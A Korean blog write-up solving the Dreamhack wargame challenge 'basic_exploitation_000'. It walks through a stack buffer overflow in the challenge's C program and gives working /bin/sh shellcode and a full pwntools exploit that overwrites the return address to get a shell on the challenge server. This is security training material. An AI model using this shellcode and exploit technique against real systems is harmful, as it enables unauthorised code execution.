워게임

Dreamhack - basic_exploitation_000 (writeup)

HackHiJack 2021. 7. 26. 00:08
728x90
반응형

오늘은 Ret Address Overwrite 취약점을 가진 basic_exploitation_000 문제를 풀어볼것이다.

 

문제 파일은 basic_exploitation_000, basic_exploitation_000.c가 있다.

 

basic_exploitation_000.c를 한번 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

위 코드의 scanf에서 buf는 128(0x80)byte인데 141만큼 받아서 BOF가 발생한다.

 

stack 예상해보면 아래와 같다.

buf(128)
sfp(4)
ret(4)

 

실행을 해보면 buf가 들어가는 주소가 나온다.

 

이제 한번 gdb로 살펴보자.

 

일단 ret에 브레이크를 걸고 실행해보자.

A 를 132번 넣고 B를 4번 넣어보자.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

위처럼 넣고 ret에서 브레이크가 걸리면 esp를 확인해보자

예상대로라면 esp가 0x424242일것이다.

 

예상대로 return address가 잘 덮혔다.

그러면 이제 exploit code를 짜보자. 

shellcode는 scanf를 우회할수 있는 아래의 shellcode를 사용한다.(26byte)

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

그리고 buf의 주소부터 값이 들어가니 payload를 짤때 buf주소를 출력하는 부분을 먼저 가져와야한다.

그리고 그 buf주소 return해야한다.

 

nop을 132 - 26 만큼 넣고, 대략 나눠서 중간에 쉘코드를 삽입해야한다.

그리고 실행 했을때 나오는 주소를 넣으면 payload가 완성된다.

 

exploit code

from pwn import *

#context.log_level = "debug"

#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games",10918)

buf = int(p.recv()[7:17],16)
print("buf address : "+hex(buf))

payload = b"\x90"*6
payload += b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90"*100
payload += p32(buf)

p.sendline(payload)

p.interactive()

 

이제 코드를 실행해보자.

위처럼 쉘 획득에 성공한걸 확인할 수 있다.

728x90
반응형